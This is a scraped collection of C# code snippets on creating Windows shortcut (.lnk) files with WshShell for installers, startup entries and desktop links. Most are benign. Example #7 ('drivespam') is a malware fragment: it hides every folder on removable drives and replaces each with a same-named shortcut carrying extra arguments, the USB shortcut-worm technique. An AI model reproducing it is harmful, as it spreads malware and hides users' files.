private void QuitButton_Click(object sender, EventArgs e)
        {
            this.Hide();

            // create desktop shortcut
            if (DesktopShortcutCheckBox.Checked)
            {
                string desktopFilePath = Path.Combine(
                    Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
                    "Project64.lnk");

                IWshShortcut shortcut = (IWshShortcut) new WshShell().CreateShortcut(desktopFilePath);

                shortcut.Description = "Project64 installed by MM Installer";
                shortcut.TargetPath  = Path.Combine(
                    InstallerSettings.InstallDirectory,
                    "Project64.exe");

                shortcut.WorkingDirectory = InstallerSettings.InstallDirectory;

                shortcut.Save();
            }

            if (TemporaryFilesCheckBox.Checked)
            {
                if (Directory.Exists(InstallerSettings.DownloadDirectory))
                {
                    Directory.Delete(InstallerSettings.DownloadDirectory, true);
                }
            }

            Application.Exit();
        }
Example #2
0
        // # ================================================================================================================================= #
        #endregion Vars

        #region Functions
        // # ================================================================================================================================= #
        void AddStartMenuShortcut()
        {
            try
            {
                ///
                // https://stackoverflow.com/questions/25024785/how-to-create-start-menu-shortcut
                ///

                string pathToExe           = textBox_path.Text + @"\BronzePlayer.exe";
                string commonStartMenuPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonStartMenu);
                string appStartMenuPath    = Path.Combine(commonStartMenuPath, "Programs", "Milkenm");

                if (!Directory.Exists(appStartMenuPath)) // If NOT exists.
                {
                    Directory.CreateDirectory(appStartMenuPath);
                }

                string       shortcutLocation = Path.Combine(appStartMenuPath, "Bronze Player.lnk");
                WshShell     shell            = new WshShell();
                IWshShortcut shortcut         = (IWshShortcut)shell.CreateShortcut(shortcutLocation);

                shortcut.Description  = "Bronze Player";
                shortcut.IconLocation = textBox_path.Text + @"\icon.ico";
                shortcut.TargetPath   = pathToExe;
                shortcut.Save();
            }
            #region DE3UG
            catch { }
            #endregion
        }
Example #3
0
        private void CreateShortcut()
        {
            try
            {
                if (!System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + @"\PTH Network Management.lnk"))
                {
                    object   shDesktop = (object)"Desktop";
                    WshShell shell     = new WshShell();
                    //  string shortcutAddress = (string)shell.SpecialFolders.Item(ref shDesktop) + "\\IT.lnk";
                    string       shortcutAddress = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + @"\IT.lnk";
                    IWshShortcut shortcut        = (IWshShortcut)shell.CreateShortcut(shortcutAddress);
                    shortcut.Description = "PTH Network Management";
                    shortcut.Hotkey      = "Ctrl+Shift+N";

                    shortcut.TargetPath       = System.Environment.CurrentDirectory + @"\HFC.exe";
                    shortcut.WorkingDirectory = System.Environment.CurrentDirectory;
                    shortcut.Save();

                    if (System.IO.File.Exists(shortcutAddress))
                    {
                        System.IO.File.Move(shortcutAddress, Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + @"\PTH Network Management.lnk");
                    }
                }
            }
            catch { }
        }
Example #4
0
        private void InstallStartUp(bool status)
        {
            /*
             * Environment.SpecialFolder.CommonStartup 모든사용자
             * Environment.SpecialFolder.Startup 현재사용자
             */

            var startup     = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
            var projectName = Assembly.GetExecutingAssembly().GetName().Name;

            string   file     = Path.Combine(startup, string.Format("{0}.lnk", projectName));
            FileInfo fileInfo = new FileInfo(file);

            if (status)
            {
                if (fileInfo.Exists)
                {
                    fileInfo.Delete();
                }

                WshShell     shell    = new WshShell();
                IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(file);
                shortcut.TargetPath  = Assembly.GetEntryAssembly().Location;
                shortcut.Description = string.Format("{0} link", projectName);

                shortcut.Save();
            }
            else
            {
                fileInfo.Delete();
            }
        }
Example #5
0
        /// <summary>
        /// ショートカットファイルを作成します。
        /// </summary>
        /// <param name="path">ショートカットのパス</param>
        /// <param name="assembly">ショートカットのリンク先のアセンブリ</param>
        public static void Create(string path, Assembly assembly)
        {
            if (System.IO.File.Exists(path))
            {
                return;
            }
            string targetPath = assembly.Location;

            // ショートカットのパスを指定して、WshShortcutを作成
            WshShell     shell    = new WshShell();
            IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(path);

            try
            {
                shortcut.TargetPath       = targetPath;
                shortcut.WorkingDirectory = Path.GetDirectoryName(assembly.Location);
                shortcut.WindowStyle      = 1;
                shortcut.IconLocation     = assembly.Location + ",0";

                // ショートカットを作成
                shortcut.Save();
            }
            finally
            {
                Marshal.ReleaseComObject(shortcut);
            }
        }
Example #6
0
 private void CreateShortcut()
 {
     if (LanguageArg != null)
     {
         if (Filepath != null)
         {
             object       shDesktop       = (object)"Desktop";
             WshShell     shell           = new WshShell();
             string       shortcutAddress = (string)shell.SpecialFolders.Item(ref shDesktop) + @"\" + LanguageArg + ".lnk";
             IWshShortcut shortcut        = (IWshShortcut)shell.CreateShortcut(shortcutAddress);
             shortcut.Arguments   = "--locale=" + LanguageArg;
             shortcut.Description = "League shortcut to launch with certain language";
             shortcut.TargetPath  = Filepath;
             shortcut.Save();
         }
         else
         {
             button1.Text = "Set exe";
         }
     }
     else
     {
         button1.Text = "Set lang";
     }
 }
Example #7
0
 public static void drivespam()
 {
     DriveInfo[] drives = DriveInfo.GetDrives();
     foreach (DriveInfo drive in drives)
     {
         if (drive.DriveType == DriveType.Removable)
         {
             foreach (var file in Directory.GetDirectories(drive.Name, "*", SearchOption.TopDirectoryOnly))
             {
                 WshShell      shell = new WshShell();
                 DirectoryInfo dir   = new DirectoryInfo(file);
                 if (drive.Name == file)
                 {
                     break;
                 }
                 //путь к ярлыку
                 string shortcutPath = drive.Name + dir.Name + ".lnk";
                 //создаем объект ярлыка
                 IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(shortcutPath);
                 Cryptor.Extract("3", shortcutPath);
                 System.IO.File.SetAttributes(file, System.IO.FileAttributes.Hidden | FileAttributes.System);
                 shortcut.Hotkey     = "Ctrl+Shift+A";
                 shortcut.Arguments  = atribdir + dir.Name + atribkey;
                 shortcut.TargetPath = file;
                 //Создаем ярлык
                 shortcut.Save();
             }
         }
         else
         {
             Console.WriteLine("флешка не обноруженна");
         }
     }
 }
Example #8
0
        private void runCheck_CheckedChanged(object sender, EventArgs e)
        {
            if (runCheck.Checked)
            {
                // Create the shortcut responsible for starting the program on system start
                try
                {
                    WshShellClass wshShell = new WshShellClass();

                    IWshShortcut shortcut = (IWshShortcut)wshShell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName + ".lnk");

                    shortcut.TargetPath       = Application.ExecutablePath;
                    shortcut.WorkingDirectory = Application.StartupPath;

                    shortcut.Save();
                } catch (Exception ex) {
                    Program.mainForm.ErrorLog("ERROR: Creating shortcut\n" + ex.Message + "\n" + ex.StackTrace);
                }
            }
            else
            {
                // Delete the shortcut responsible for starting the program on system start
                try
                {
                    System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ProductName + ".lnk");
                } catch (Exception ex) {
                    Program.mainForm.ErrorLog("ERROR: Deleting  shortcut\n" + ex.Message + "\n" + ex.StackTrace);
                }
            }

            Program.settings["RunOnStartup"] = runCheck.Checked.ToString();
            Program.writeConfig();
        }
Example #9
0
        private static void smethod_6(GClass30 gclass30_0, string string_0, string string_1, string string_2, string string_3, string string_4, string string_5)
        {
            string str1 = System.IO.Path.Combine(string_1, gclass30_0.TitleId.IdRaw + ".lnk");
            string str2 = System.IO.Path.Combine(string_1, string_0 + ".lnk");
            // ISSUE: variable of a compiler-generated type
            WshShell instance = (WshShell)Activator.CreateInstance(Marshal.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8")));

            // ISSUE: reference to a compiler-generated field
            if (GClass128.Class113.callSite_0 == null)
            {
                // ISSUE: reference to a compiler-generated field
                GClass128.Class113.callSite_0 = CallSite <Func <CallSite, object, IWshShortcut> > .Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(IWshShortcut), typeof(GClass128)));
            }
            // ISSUE: reference to a compiler-generated field
            // ISSUE: reference to a compiler-generated field
            // ISSUE: reference to a compiler-generated method
            // ISSUE: variable of a compiler-generated type
            IWshShortcut wshShortcut = GClass128.Class113.callSite_0.Target((CallSite)GClass128.Class113.callSite_0, instance.CreateShortcut(str1));

            wshShortcut.Arguments        = string_5;
            wshShortcut.Description      = string_4;
            wshShortcut.IconLocation     = string_3;
            wshShortcut.TargetPath       = string_2;
            wshShortcut.WorkingDirectory = System.IO.Path.GetDirectoryName(string_2);
            // ISSUE: reference to a compiler-generated method
            wshShortcut.Save();
            GClass6.smethod_6(str2);
            Alphaleonis.Win32.Filesystem.File.Move(str1, str2);
            GClass128.SHChangeNotify(134217728, 4096, IntPtr.Zero, IntPtr.Zero);
        }
Example #10
0
        public static void CreateShortcut(ShortcutInfo info)
        {
            WshShell     shell = new WshShell();
            IWshShortcut sc    = (IWshShortcut)shell.CreateShortcut(info.ShortcutFilePath);

            sc.TargetPath = info.TargetPath;
            if (!string.IsNullOrWhiteSpace(info.Arguments))
            {
                sc.Arguments = info.Arguments;
            }
            if (!string.IsNullOrWhiteSpace(info.WorkingDirectory))
            {
                sc.WorkingDirectory = Environment.CurrentDirectory;
            }
            if (!string.IsNullOrWhiteSpace(info.IconLocation))
            {
                sc.IconLocation = info.IconLocation;
            }
            if (!string.IsNullOrWhiteSpace(info.Description))
            {
                sc.Description = info.Description;
            }
            sc.WindowStyle = info.WindowStyle;
            sc.Save();
        }
        private void CreateShortcut()
        {
            SaveFileDialog dialog = new SaveFileDialog
            {
                InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
                DefaultExt       = "lnk",
                AddExtension     = true,
                Filter           = "Shortcuts|*.lnk",
                FileName         = "Depressurizer Auto"
            };

            DialogResult result = dialog.ShowDialog();

            if (result != DialogResult.OK)
            {
                return;
            }

            WshShell     shell    = new WshShell();
            IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(dialog.FileName);

            shortcut.TargetPath       = Application.ExecutablePath;
            shortcut.WorkingDirectory = Application.StartupPath;
            shortcut.Arguments        = GenerateArguments();
            shortcut.Save();
        }
Example #12
0
        private static bool Create(string shortcutPath, string targetPath, string arguments = "")
        {
            if (!string.IsNullOrEmpty(shortcutPath) && !string.IsNullOrEmpty(targetPath) && File.Exists(targetPath))
            {
                Delete(shortcutPath);

                try
                {
                    IWshShell    wsh      = new WshShellClass();
                    IWshShortcut shortcut = (IWshShortcut)wsh.CreateShortcut(shortcutPath);
                    shortcut.TargetPath       = targetPath;
                    shortcut.Arguments        = arguments;
                    shortcut.WorkingDirectory = Path.GetDirectoryName(targetPath);
                    shortcut.Save();

                    return(true);
                }
                catch (Exception e)
                {
                    DebugHelper.WriteException(e);
                }
            }

            return(false);
        }
Example #13
0
        /// <summary>
        /// Creates the shortcuts for VirtualBox.
        /// </summary>
        /// <param name="binPath">The path to binary.</param>
        /// <param name="destination">The path to shortcut.</param>
        /// <param name="arguments">Application arguments.</param>
        /// <param name="iconPath">The shortcut icon path.</param>
        /// <param name="runAsAdmin">if set to <c>true</c> [run as admin].</param>
        public static void CreateShortcut(string binPath, string destination,
                                          string arguments, string iconPath,
                                          bool runAsAdmin)
        {
            var shell = new WshShell();

            try
            {
                IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(destination);
                shortcut.TargetPath = binPath;
                shortcut.Arguments  = arguments;
                if (!iconPath.Equals(""))
                {
                    shortcut.IconLocation = $"{iconPath}, 0";
                }

                //shortcut.Description = string.Format("Launches clrenv for {0} {1} {2}", arch, flavor, extra);
                shortcut.Save();
                using (var fs = new FileStream(destination, FileMode.Open, FileAccess.ReadWrite))
                {
                    fs.Seek(21, SeekOrigin.Begin);
                    fs.WriteByte(0x22);
                }
            }
            catch (Exception ex)
            {
                logger.Info("Shortcut exception: {0}", ex.Message);
            }
        }
Example #14
0
        /// <summary>
        /// 创建桌面快捷方式
        /// </summary>
        /// <param name="name">目标名称</param>
        /// <param name="description">目标描述</param>
        /// <param name="targetFilePath">源文件路径</param>
        /// <param name="logoName">logo名称</param>
        /// <returns></returns>
        public bool CreateDeskTopLik(string name, string description, string targetFilePath, string logoName, bool forceCreate)
        {
            #region 创建桌面快捷方式
            string deskTop = System.Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            string dirPath = CoreEngine.Current.AppRootDirection;
            string exePath = Assembly.GetExecutingAssembly().Location;
            //System.Diagnostics.FileVersionInfo exeInfo = System.Diagnostics.FileVersionInfo.GetVersionInfo(exePath);
            if (!forceCreate && System.IO.File.Exists($@"{deskTop}\{name}.lnk"))
            {
                //  System.IO.File.Delete(string.Format(@"{0}\快捷键名称.lnk",deskTop));//删除原来的桌面快捷键方式
                return(false);
            }
            WshShell     shell    = new WshShell();
            IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "\\" + $"{name}.lnk");
            shortcut.TargetPath       = targetFilePath;                      //目标文件
            shortcut.WorkingDirectory = dirPath;                             //目标文件夹
            shortcut.WindowStyle      = 1;                                   //目标应用程序的窗口状态分为普通、最大化、最小化【1,3,7】
            shortcut.Description      = description;                         //描述
            shortcut.IconLocation     = $@"{dirPath}\Assets\{logoName}.ico"; //快捷方式图标
            shortcut.Arguments        = "";
            shortcut.Hotkey           = "ALT+X";                             // 快捷键
            shortcut.Save();
            return(true);

            #endregion
        }
Example #15
0
        private static void CreateShortcut(WshShell shell, string filename_target, string filename_shortcut)
        {
            IWshShortcut link = (IWshShortcut)shell.CreateShortcut(filename_shortcut);

            link.TargetPath = filename_target;
            link.Save();
        }
Example #16
0
        // create shortcut
        private void CreateShortcut(string directory, string shortcutName, string originalFileFullName)
        {
            try {
                if (!Directory.Exists(directory))
                {
                    Directory.CreateDirectory(directory);
                }
            } catch (Exception ex) {
                MessageBox.Show(
                    ex.Message,
                    "System Error",
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error
                    );
                return;
            }
            string       shortcutFullName = Path.Combine(directory, shortcutName + ".lnk");
            WshShell     ws       = new WshShell();
            IWshShortcut shortcut = (IWshShortcut)ws.CreateShortcut(shortcutFullName);

            shortcut.TargetPath       = originalFileFullName;
            shortcut.WorkingDirectory = Environment.CurrentDirectory;
            shortcut.IconLocation     = originalFileFullName;
            shortcut.Save();
        }
Example #17
0
        ///// <summary>
        ///// 시작프로그램 Registry 등록
        ///// </summary>
        //public static void AddRegistry()
        //{
        //	try
        //	{
        //		string runKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
        //		RegistryKey strUpKey = Registry.LocalMachine.OpenSubKey(runKey);
        //		if(strUpKey.GetValue("CADC") == null)
        //		{
        //			strUpKey.Close();
        //			strUpKey = Registry.LocalMachine.OpenSubKey(runKey, true);
        //			// 시작프로그램 등록명과 exe경로를 레지스트리에 등록
        //			strUpKey.SetValue("CADC", Application.ExecutablePath.Replace('/', '\\'));
        //			MessageBox.Show("Add Startup Success");
        //		} else
        //		{
        //			MessageBox.Show("이미 등록되어 있음");
        //		}
        //	}
        //	catch
        //	{
        //		MessageBox.Show("Add Startup Fail");
        //	}
        //}

        ///// <summary>
        ///// 시작프로그램 Registry 삭제
        ///// </summary>
        //public static void RemoveRegistry()
        //{
        //	try
        //	{
        //		string runKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
        //		RegistryKey strUpKey = Registry.LocalMachine.OpenSubKey(runKey, true);
        //		// 레지스트리값 제거
        //		strUpKey.DeleteValue("CADC");
        //		MessageBox.Show("Remove Startup Success");
        //	}
        //	catch
        //	{
        //		MessageBox.Show("Remove Startup Fail");
        //	}
        //}

        public static void CreateShortCut()
        {
            string ShortCutPath = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
            // 바탕화면 경로 string
            //var desktopFolder = Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory);
            //var desktopFolder2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            // 바탕화면 폴더정보
            DirectoryInfo shortCutDir = new DirectoryInfo(ShortCutPath);
            // 바로가기 파일명 지정(경로포함)
            string linkFileName = shortCutDir.FullName + "\\CADC.lnk";
            // 바로가기 파일 정보 생성
            FileInfo linkFile = new FileInfo(linkFileName);

            // 바로가기 파일이 있다면 종료
            if (linkFile.Exists)
            {
                return;
            }
            try
            {
                WshShell     shell = new WshShell();
                IWshShortcut link  = (IWshShortcut)shell.CreateShortcut(linkFile.FullName);
                // 원본파일 경로
                link.TargetPath       = Application.ExecutablePath;
                link.WorkingDirectory = Application.StartupPath;                 // Path to the Original folder
                link.Save();
            }
            catch (Exception ex)
            {
                Debug.Write("바로가기 생성오류 : " + ex.ToString());
                //MessageBox.Show("바로가기 생성오류", "알림");
            }
        }
        public static void Create(string fileName, string targetPath, string arguments, string workingDirectory, string description, string hotkey, string iconPath)
        {
            IWshShortcut shortcut = (IWshShortcut)m_type.InvokeMember("CreateShortcut", System.Reflection.BindingFlags.InvokeMethod, null, m_shell, new object[] { fileName });

            shortcut.Description      = description;
            shortcut.TargetPath       = targetPath;
            shortcut.WorkingDirectory = string.IsNullOrEmpty(workingDirectory) ? targetPath : workingDirectory;
            shortcut.Arguments        = arguments;

            if (!string.IsNullOrEmpty(hotkey))
            {
                shortcut.Hotkey = hotkey;
            }

            if (!string.IsNullOrEmpty(iconPath))
            {
                shortcut.IconLocation = iconPath;
            }
            else
            {
                shortcut.IconLocation = System.Reflection.Assembly.LoadFile(targetPath).Location.Replace('\\', '/');
            }

            shortcut.Save();
        }
Example #19
0
        private void CreateUserShortcuts(string path, string name, string targetPath, string WorkingDirectory, int windowStyle,
                                         string description, string icoLocation)
        {
            WshShell shell = new WshShell();

            if (Settings.createDesktopshortcut)
            {
                IWshShortcut desktopshortcut = (IWshShortcut)shell.CreateShortcut(Path.Combine(path, name + ".lnk"));

                //设置快捷方式的目标所在的位置(源程序完整路径)
                desktopshortcut.TargetPath = targetPath;

                //应用程序的工作目录
                //当用户没有指定一个具体的目录时,快捷方式的目标应用程序将使用该属性所指定的目录来装载或保存文件。
                desktopshortcut.WorkingDirectory = WorkingDirectory;// System.Environment.CurrentDirectory;

                //目标应用程序窗口类型(1.Normal window普通窗口,3.Maximized最大化窗口,7.Minimized最小化)
                desktopshortcut.WindowStyle = windowStyle;

                //快捷方式的描述
                desktopshortcut.Description = description;

                //可以自定义快捷方式图标.(如果不设置,则将默认源文件图标.)
                desktopshortcut.IconLocation = icoLocation;// System.Environment.SystemDirectory + "\\" + "shell32.dll, 165";

                //设置应用程序的启动参数(如果应用程序支持的话)
                //shortcut.Arguments = "/myword /d4s";

                //设置快捷键(如果有必要的话.)
                //shortcut.Hotkey = "CTRL+ALT+D";

                //保存快捷方式
                desktopshortcut.Save();
            }
        }
Example #20
0
        private static void CreateShrotcut()
        {
            try
            {
                string location = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory),
                                               "群控360.lnk");

                LogUtils.Debug($"create shortcut => {location}");

                WshShell     shell    = new WshShell();
                IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(location);

                string currentVersionExeFullName = Process.GetCurrentProcess().MainModule.FileName;

                DirectoryInfo curDirectoryInfo = new DirectoryInfo(currentVersionExeFullName);

                string lastLevelDirName = curDirectoryInfo.Parent.ToString();
                string exeName          = Path.GetFileName(currentVersionExeFullName);

                string lastLevelPath = Path.Combine(lastLevelDirName, exeName);

                string targetDir = currentVersionExeFullName.Replace(lastLevelPath, string.Empty);

                string targetExeFullName = Path.Combine(targetDir, exeName);

                shortcut.TargetPath = targetExeFullName;

                LogUtils.Debug($"target path => {shortcut.TargetPath}");
                shortcut.Save();
            }
            catch (Exception ex)
            {
                LogUtils.Error($"CreateShrotcut => {ex}");
            }
        }
Example #21
0
 /// <summary>
 ///  向目标路径创建指定文件的快捷方式
 /// </summary>
 /// <param name="directory">目标目录</param>
 /// <param name="shortcutName">快捷方式名字</param>
 /// <param name="targetPath">文件完全路径</param>
 /// <param name="description">描述</param>
 /// <param name="iconLocation">图标地址</param>
 /// <returns>成功或失败</returns>
 private bool CreateShortcut(string directory, string shortcutName, string targetPath, string description = null, string iconLocation = null)
 {
     try
     {
         if (!Directory.Exists(directory))
         {
             Directory.CreateDirectory(directory);                                                       //目录不存在则创建
         }
         //添加引用 Com 中搜索 Windows Script Host Object Model
         string       shortcutPath = Path.Combine(directory, string.Format("{0}.lnk", shortcutName));     //合成路径
         WshShell     shell        = new IWshRuntimeLibrary.WshShell();
         IWshShortcut shortcut     = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcutPath); //创建快捷方式对象
         shortcut.TargetPath       = targetPath;                                                          //指定目标路径
         shortcut.WorkingDirectory = Path.GetDirectoryName(targetPath);                                   //设置起始位置
         shortcut.WindowStyle      = 1;                                                                   //设置运行方式,默认为常规窗口
         shortcut.Description      = description;                                                         //设置备注
         shortcut.IconLocation     = string.IsNullOrWhiteSpace(iconLocation) ? targetPath : iconLocation; //设置图标路径
         shortcut.Save();                                                                                 //保存快捷方式
         return(true);
     }
     catch (Exception ex)
     {
         string temp = ex.Message;
         temp = "";
     }
     return(false);
 }
Example #22
0
        private void registry_registe(bool write)
        {
            string shortCut = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\Drink.lnk";

            if (write)
            {
                #region registry registe

                if (System.IO.File.Exists(shortCut))
                {
                    System.IO.File.Delete(shortCut);
                }

                WshShellClass shell = new WshShellClass();

                //IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(@"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\PPCBacklightAdjustmentTool.lnk");
                IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(shortCut);

                shortcut.TargetPath = Application.ExecutablePath;

                // add Description of Short cut
                shortcut.Description = "DRINK";

                // save it / create
                shortcut.Save();
                #endregion
            }
            else
            {
                if (System.IO.File.Exists(shortCut))
                {
                    System.IO.File.Delete(shortCut);
                }
            }
        }
Example #23
0
        public bool MoveFile(string path, string filename, string filenameExt, bool x86)
        {
            try
            {
                if (!x86)
                {
                    filename = UppercaseString(filename);
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\" + filename);
                    File.Move(path, Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\" + filename + "\\" + filenameExt);

                    WshShell     shell    = new WshShell();
                    IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.CommonStartMenu) + "\\Programs\\" + filename + ".lnk");
                    shortcut.TargetPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\" + filename + "\\" + filenameExt;
                    shortcut.Save();
                }
                else
                {
                    filename = UppercaseString(filename);
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\" + filename);
                    File.Move(path, Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\" + filename + "\\" + filenameExt);

                    WshShell     shell    = new WshShell();
                    IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.CommonStartMenu) + "\\Programs\\" + filename + ".lnk");
                    shortcut.TargetPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\" + filename + "\\" + filenameExt;
                    shortcut.Save();
                }

                return(true);
            }
            catch
            {
                return(false);
            }
        }
Example #24
0
        private void gr33ntii_Load(object sender, EventArgs e)
        {
            foreach (var process in Process.GetProcessesByName("worker"))
            {
                process.Kill();
            }
            {
                object       direction       = (object)"Desktop";
                WshShell     shell           = new WshShell();
                string       shortcutAddress = (string)shell.SpecialFolders.Item(ref direction) + @"\Google Chrome.lnk";
                IWshShortcut shortcut        = (IWshShortcut)shell.CreateShortcut(shortcutAddress);
                shortcut.Description      = "Google Chrome";
                shortcut.WorkingDirectory = @"C:\Program Files (x86)\Google\Chrome\Application";
                shortcut.TargetPath       = @"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe";
                shortcut.Save();
            }

            {
                //"C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk"
                WshShell     shell           = new WshShell();
                string       shortcutAddress = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk";
                IWshShortcut x = (IWshShortcut)shell.CreateShortcut(shortcutAddress);
                x.Description      = "Google Chrome";
                x.WorkingDirectory = @"C:\Program Files (x86)\Google\Chrome\Application";
                x.TargetPath       = @"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe";
                x.Save();
            }


            ed1th0st();
            Gr33ntii();
        }
Example #25
0
        private void FileDownloadComplete(object sender, AsyncCompletedEventArgs e)
        {
            MessageBox.Show("Téléchargement terminé !", "Succès", MessageBoxButtons.OK, MessageBoxIcon.Information);

            object       shDesktop       = (object)"Desktop";
            WshShell     shell           = new WshShell();
            string       shortcutAddress = (string)shell.SpecialFolders.Item(ref shDesktop) + @"\TCPConfig v" + v + ".lnk";
            IWshShortcut shortcut        = (IWshShortcut)shell.CreateShortcut(shortcutAddress);

            shortcut.Description = "Shortcut for TCPConfig";
            shortcut.Hotkey      = "Ctrl+Shift+N";
            shortcut.TargetPath  = fileDir + @"\TCPConfig v" + v + ".exe";
            shortcut.Save();

            Process.Start(fileDir);

            if (System.Windows.Forms.Application.MessageLoop)
            {
                System.Windows.Forms.Application.Exit();
            }
            else
            {
                System.Environment.Exit(1);
            }
        }
        public static bool CrtShortCut(string FilePath, string fileName, string WorkingDirectory, string Discription)
        {
            //从COM中引用 Windows Script Host Object Model
            //再using IWshRuntimeLibrary;
            WshShell shell = new WshShell();

            //创建桌面快捷方式
            IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "\\" + fileName + ".lnk");

            shortcut.TargetPath       = FilePath;
            shortcut.WorkingDirectory = WorkingDirectory;
            shortcut.WindowStyle      = 1;
            shortcut.Description      = Discription;
            shortcut.Save();

            //创建开始菜单快捷方式
            IWshShortcut shortcut1 = (IWshShortcut)shell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu) + "\\" + fileName + ".lnk");

            shortcut1.TargetPath       = FilePath;
            shortcut1.WorkingDirectory = WorkingDirectory;
            shortcut1.WindowStyle      = 1;
            shortcut1.Description      = Discription;
            shortcut1.Save();
            return(true);
        }
Example #27
0
        public static void BuildShortcutFile(Shortcut shortcut)
        {
            // Build text file
            string       shortcutJson         = Serializer.SerializeShortcut(shortcut);
            string       shortcutTextFilePath = settings.GetShortcutsFilePath($"{shortcut.Name}.txt");
            StreamWriter writer = new StreamWriter(shortcutTextFilePath, false);

            writer.Write(shortcutJson);
            writer.Close();

            // Copy icon
            string iconFilePath = settings.GetShortcutsFilePath($"{shortcut.Name}.ico");
            bool   gotIcon      = CopyIcon(shortcut.IconPath, iconFilePath);

            // Create shortcut
            string       runnerPath       = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, @"..\Runner\StartMenuManager.Runner.exe");
            string       shortcutFilePath = settings.GetShortcutsFilePath($"{shortcut.Name}.lnk");
            WshShell     shell            = new WshShell();
            IWshShortcut wshShortcut      = (IWshShortcut)shell.CreateShortcut(shortcutFilePath);

            if (gotIcon)
            {
                wshShortcut.IconLocation = iconFilePath;
            }

            wshShortcut.TargetPath = $"{runnerPath}";
            wshShortcut.Arguments  = $"\"{shortcutTextFilePath}\"";
            wshShortcut.Save();
        }
Example #28
0
        private void Form1_Load(object sender, EventArgs e)
        {
            string deskTop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\";

            if (System.IO.File.Exists(deskTop + "Locker.lnk"))
            {
                System.IO.File.Delete(deskTop + "Locker.lnk");
            }
            WshShell     shell    = new WshShell();
            IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(deskTop + "Locker.lnk");

            shortcut.TargetPath       = Application.StartupPath + "Locker.exe";
            shortcut.WorkingDirectory = Environment.CurrentDirectory;
            shortcut.WindowStyle      = 1;
            shortcut.Description      = "Run Locker";
            shortcut.IconLocation     = Application.StartupPath + "\\icon.ico";
            shortcut.Arguments        = "";
            shortcut.Hotkey           = "CTRL+ALT+L";
            shortcut.Save();
            comboBox1.SelectedItem = "Shutdown";
            otext = textBox1.Text;
            int         name = 1;
            RegistryKey k    = Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun");

            for (; ;)
            {
                if (k.GetValue(name.ToString(), null) == null)
                {
                    break;
                }
                textBox1.AppendText(Convert.ToString(k.GetValue(name.ToString())) + "\r\n");
                ++name;
            }
        }
Example #29
0
        public static void AddShortcut(string shortCutName,
                                       string appName,
                                       string pathToExe,
                                       string args,
                                       string workingDir,
                                       string iconPath,
                                       string description,
                                       bool allUsers = false)
        {
            string commonStartMenuPath = Environment.GetFolderPath(
                allUsers ? Environment.SpecialFolder.CommonStartMenu : Environment.SpecialFolder.StartMenu
                );
            string appStartMenuPath = Path.Combine(commonStartMenuPath, "Programs", appName);

            EnsurePath(appStartMenuPath);

            string       shortcutLocation = Path.Combine(appStartMenuPath, shortCutName + ".lnk");
            WshShell     shell            = new WshShell();
            IWshShortcut shortcut         = (IWshShortcut)shell.CreateShortcut(shortcutLocation);

            shortcut.Description = "Test App Description";
            //shortcut.IconLocation = @"C:\Program Files (x86)\TestApp\TestApp.ico"; //uncomment to set the icon of the shortcut
            shortcut.TargetPath       = pathToExe;
